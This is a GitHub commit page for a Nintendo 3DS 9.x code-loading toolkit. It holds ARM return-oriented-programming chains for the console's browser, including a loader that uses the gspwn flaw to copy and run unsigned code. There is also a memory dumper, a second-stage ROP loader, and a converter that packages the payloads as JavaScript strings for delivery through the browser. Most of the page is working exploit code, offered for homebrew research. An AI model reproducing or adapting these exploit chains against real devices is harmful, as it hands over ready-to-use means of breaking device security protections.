Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
yifanlu committed Jan 22, 2015
0 parents commit 97e6084
Show file tree
Hide file tree
Showing 9 changed files with 469 additions and 0 deletions.
7 changes: 7 additions & 0 deletions .gitignore
@@ -0,0 +1,7 @@
.DS_Store
._*
*.obj
*.o
*.bin
*.elf
*.dat
108 changes: 108 additions & 0 deletions LoadCode.S
@@ -0,0 +1,108 @@
.arm
.text

#define SELF_LOC 0x08B88400
#define BUFFER_LOC 0x18410000
#define CODE_SIZE 0x00004000
#define CODE_TARGET 0x19592000
#define CODE_JUMP 0x009D2000

.global _start
@---------------------------------------------------------------------------------
_start:
@ mount SD
.word 0x0010C2FC @ LDMFD SP!, {R0,PC}
.word 0x001050B3 @ R0 = "dmc:"
.word 0x0019CA34 @ FS_MOUNTSDMC(), then LDMFD SP!, {R3-R5,PC}
.word 0xDEADBEEF @ R3, dummy
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
@ open file
.word 0x001946EB @ POP {R0-R4,R7,PC}
.word 0x08F10000 @ R0 = this
.word SELF_LOC+FileName @ R1 = filename
.word 0x00000001 @ R2 = permission
.word 0xDEADBEEF @ R3, dummy
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0x0022FE0C @ IFile_Open(), then LDMFD SP!, {R4-R7,PC}
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
.word 0xDEADBEEF @ R6, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0x001057C4 @ POP {PC}
@ read payload
.word 0x001946EB @ POP {R0-R4,R7,PC}
.word 0x08F10000 @ R0 = this
.word 0x08F10020 @ R1 = total_read
.word BUFFER_LOC @ R2 = buffer
.word CODE_SIZE @ R3 = size
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0x001686E0 @ IFile_Read, then LDMFD SP!, {R4-R9,PC}
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
.word 0xDEADBEEF @ R6, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0xDEADBEEF @ R8, dummy
.word 0xDEADBEEF @ R9, dummy
@ flush data cache
.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
.word 0x003DA72C @ r0 (handle ptr)
.word 0xFFFF8001 @ r1 (kprocess handle)
.word BUFFER_LOC @ r2 (address)
.word CODE_SIZE @ r3 (size)
.word 0xDEADC0DE @ r4 (garbage)
.word 0x0013035C @ pop {lr, pc}
.word 0x001057c4 @ lr (pop {pc})
.word 0x0012c1e0 @ GSPGPU_FlushDataCache
@ send GX command
.word 0x0010c2fc @ pop {r0, pc}
.word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
.word 0x00228af4 @ pop {r1, pc}
.word SELF_LOC+gxCommand @ r1 (cmd addr)
.word 0x0013035C @ pop {lr, pc}
.word 0x001057c4 @ lr (pop {pc})
.word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue
@ sleep for a bit
.word 0x0010c2fc @ pop {r0, pc}
.word 0x3B9ACA00 @ r0 (one second)
.word 0x00228af4 @ pop {r1, pc}
.word 0x00000000 @ r1 (nothing)
.word 0x0013035C @ pop {lr, pc}
.word 0x001057c4 @ lr (pop {pc})
.word 0x001041f8 @ svc 0xa | bx lr
@ jump to code
.word CODE_JUMP

@ Data required for spider rop to work
InitData:
.word 0, 0, 0, 0, SELF_LOC+_start+0x8C, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, SELF_LOC+_start, 0x001057C4, 0x001057C4, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0x0010C2FC, SELF_LOC+_start+0x218, 0, 0, 0x001057C4, 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
Self:
.word SELF_LOC+Self, 0x001057C4, 0, 0, 0, 0, 0, 0, 0, 0x00130344, 0, 0, 0, 0, 0

.align 2
gxCommand:
.word 0x00000004 @ command header (SetTextureCopy)
.word BUFFER_LOC @ source address
.word CODE_TARGET @ destination address
.word CODE_SIZE @ size
.word 0xFFFFFFFF @ dim in
.word 0xFFFFFFFF @ dim out
.word 0x00000008 @ flags
.word 0x00000000 @ unused

.align 2
FileName:
.string16 "dmc:/code.bin"

.align 2
@ Padding
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0

81 changes: 81 additions & 0 deletions LoadROP.S
@@ -0,0 +1,81 @@
.arm
.text

#define SELF_LOC 0x08B88400
#define BUFFER_LOC 0x08F01000
#define BUFFER_SIZE 0x00004000

.global _start
@---------------------------------------------------------------------------------
_start:
@ mount SD
.word 0x0010C2FC @ LDMFD SP!, {R0,PC}
.word 0x001050B3 @ R0 = "dmc:"
.word 0x0019CA34 @ FS_MOUNTSDMC(), then LDMFD SP!, {R3-R5,PC}
.word 0xDEADBEEF @ R3, dummy
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
@ open file
.word 0x001946EB @ POP {R0-R4,R7,PC}
.word 0x08F10000 @ R0 = this
.word SELF_LOC+FileName @ R1 = filename
.word 0x00000001 @ R2 = permission
.word 0xDEADBEEF @ R3, dummy
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0x0022FE0C @ IFile_Open(), then LDMFD SP!, {R4-R7,PC}
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
.word 0xDEADBEEF @ R6, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0x001057C4 @ POP {PC}
@ read payload
.word 0x001946EB @ POP {R0-R4,R7,PC}
.word 0x08F10000 @ R0 = this
.word 0x08F10020 @ R1 = total_read
.word BUFFER_LOC @ R2 = buffer
.word BUFFER_SIZE @ R3 = size
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0x001686E0 @ IFile_Read, then LDMFD SP!, {R4-R9,PC}
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
.word 0xDEADBEEF @ R6, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0xDEADBEEF @ R8, dummy
.word 0xDEADBEEF @ R9, dummy
.word 0x001057C4 @ nop
.word 0x001057C4 @ nop
@ jump to payload
.word 0x001065A8 @ LDMFD SP!, {R4-R12,PC}
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
.word 0xDEADBEEF @ R6, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0xDEADBEEF @ R8, dummy
.word 0xDEADBEEF @ R9, dummy
.word 0xDEADBEEF @ R10, dummy
.word 0xDEADBEEF @ R11, dummy
.word 0x001057C4 @ R12, POP {PC}
.word 0x002C5AE0 @ LDMFD SP!, {R4-R6,LR}, BX R12
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
.word 0xDEADBEEF @ R6, dummy
.word BUFFER_LOC-4 @ LR
.word 0x00130358 @ SP = LR, LDMFD SP!, {LR,PC}
InitData:
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, SELF_LOC+_start+0x8C, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, SELF_LOC+_start, 0x001057C4, 0x001057C4, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0x0010C2FC, SELF_LOC+_start+0x218, 0, 0, 0x001057C4, 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
Self:
.word SELF_LOC+Self, 0x001057C4, 0, 0, 0, 0, 0, 0, 0, 0x00130344, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0

.balign 16
FileName:
.string16 "dmc:/ROP.dat"
Padding:
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
29 changes: 29 additions & 0 deletions Makefile
@@ -0,0 +1,29 @@
CC=arm-none-eabi-gcc
CFLAGS=-fPIE -fno-zero-initialized-in-bss -std=c99 -mcpu=mpcore -fshort-wchar -O3
ASFLAGS=-nostartfiles -nostdlib
LD=arm-none-eabi-gcc
LDFLAGS=-T linker.x -nodefaultlibs -nostdlib -pie
OBJCOPY=arm-none-eabi-objcopy
OBJCOPYFLAGS=

all: code.bin LoadROP.dat LoadCode.dat MemoryDump.dat

%.o: %.c
$(CC) -c -o $@ $< $(CFLAGS)

%.ro: %.S
$(CC) -c -o $@ $< $(ASFLAGS)

%.elf: %.o
$(LD) -o $@ $^ $(LDFLAGS)

%.bin: %.elf
$(OBJCOPY) -O binary $^ $@

%.dat: %.ro
$(OBJCOPY) -O binary $^ $@

.PHONY: clean

clean:
rm -rf *~ *.o *.elf *.bin *.s *.dat
67 changes: 67 additions & 0 deletions MemoryDump.S
@@ -0,0 +1,67 @@
.arm
.text

#define SELF_LOC 0x08B88400
#define DUMPSTART 0x00100000
#define DUMPSIZE 0x00300000

.global _start
@---------------------------------------------------------------------------------
_start:
@ mount SD
.word 0x0010C2FC @ LDMFD SP!, {R0,PC}
.word 0x001050B3 @ R0 = "dmc:"
.word 0x0019CA34 @ FS_MOUNTSDMC(), then LDMFD SP!, {R3-R5,PC}
.word 0xDEADBEEF @ R3, dummy
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
@ open file
.word 0x001946EB @ POP {R0-R4,R7,PC}
.word SELF_LOC+FILE @ R0 = this
.word SELF_LOC+FileName @ R1 = filename
.word 0x00000006 @ R2 = permission
.word 0xDEADBEEF @ R3, dummy
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0x0022FE0C @ IFile_Open(), then LDMFD SP!, {R4-R7,PC}
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
.word 0xDEADBEEF @ R6, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0x001057C4 @ POP {PC}
@ read memory
.word 0x001946EB @ POP {R0-R4,R7,PC}
.word SELF_LOC+FILE @ R0 = this
.word SELF_LOC+FILE + 32 @ R1 = written
.word DUMPSTART @ R2 = buffer
.word DUMPSIZE @ R3 = size
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0x00168768 @ IFile_Write, then LDMFD SP!, {R4-R11,PC}
.word 0xDEADBEEF @ R4, dummy
.word 0xDEADBEEF @ R5, dummy
.word 0xDEADBEEF @ R6, dummy
.word 0xDEADBEEF @ R7, dummy
.word 0xDEADBEEF @ R8, dummy
.word 0xDEADBEEF @ R9, dummy
.word 0xDEADBEEF @ R10, dummy
.word 0xDEADBEEF @ R11, dummy
@ exit
.word 0xDEADBEEF

InitData:
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.word 0, SELF_LOC+_start+0x8C, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, SELF_LOC+_start, 0x001057C4, 0x001057C4, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0x0010C2FC, SELF_LOC+_start+0x218, 0, 0, 0x001057C4, 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
Self:
.word SELF_LOC+Self, 0x001057C4, 0, 0, 0, 0, 0, 0, 0, 0x00130344, 0, 0, 0, 0, 0

.align 2
FileName:
.string16 "dmc:/memory.bin"

.balign 32
FILE: .fill 158, 1, 0
55 changes: 55 additions & 0 deletions README.md
@@ -0,0 +1,55 @@
3DS 9.x Code Loading Utilities
===============================================================================

Here is a collection of scripts and tools used for loading code on 9.x 3DS.
Check out [my posts](http://yifan.lu/category/devices/3ds/) to see how all
this works. Please note this is only for developers and 3DS researchers and
there is nothing here for the end user. This is NOT a CFW or any kind of ROM
loader.

## How do I compile?

You need an arm-none-eabi-gcc toolchain installed. Then just run "make".
The toolchain that is tested with is <http://www.yagarto.de/>.

## Scripts

### LoadCode

This is an Spider ROP script that loads "code.bin" as ARM11 userland code from
the SD card and runs it. It exploits the [gspwn](http://smealum.net/?p=517)
vulnerability to load the code.

### LoadROP

This is an deobfuscated and cleaned up version of GW's first stage Launcher.dat
loader with two changes. 1) No decryption is done, and 2) no indexing is done.
This means you place the raw ROP.dat on the sdcard. It is tested to work with
[regionthree](http://github.com/smealum/regionthree).

### MemoryDump

Taken from [WinterMute](https://github.com/WinterMute/ROPInstaller) ROP scripts
for mset on 4.x and 6.x. Dumps memory to sdcard with 9.x spider.

### Code (UVLoader Lite)

A stripped down version of [UVLoader](http://github.com/yifanlu/UVLoader) that
generates ARM code that runs with LoadCode. Currently it does nothing except
display a random pattern on screen. Think of it as a lazy hello world. It is
a starting point for your code.

### Browserify

Compile with "gcc -o browserify browserify.c" on your computer. Then convert
any spider ROP payload to JS string with "browserify LoadCode.dat" (as an
example).

## On spider ROP payloads

There are specific data at specific offsets that spider must see for the ROP to
work. If you look in any of the example ROP scripts, you'll see where the data
is placed. If you add/remove code, you must reposition all the InitData so it
is at the sample place. Additionally, you must make sure the ROP script is
exactly 0x300 bytes long. If anyone has a way to automate this, please send a
pull request.
21 changes: 21 additions & 0 deletions browserify.c
@@ -0,0 +1,21 @@
#include <stdio.h>

int main(int argc, const char *argv[])
{
FILE *file;
unsigned int state;
unsigned short data;

if ((file = fopen(argv[1], "rb")) == NULL)
{
perror("fopen");
return 1;
}

while (fread(&data, 2, 1, file) == 1)
{
fprintf(stdout, "\\u%04x", data);
}
fclose(file);
return 0;
}

0 comments on commit 97e6084

Please sign in to comment.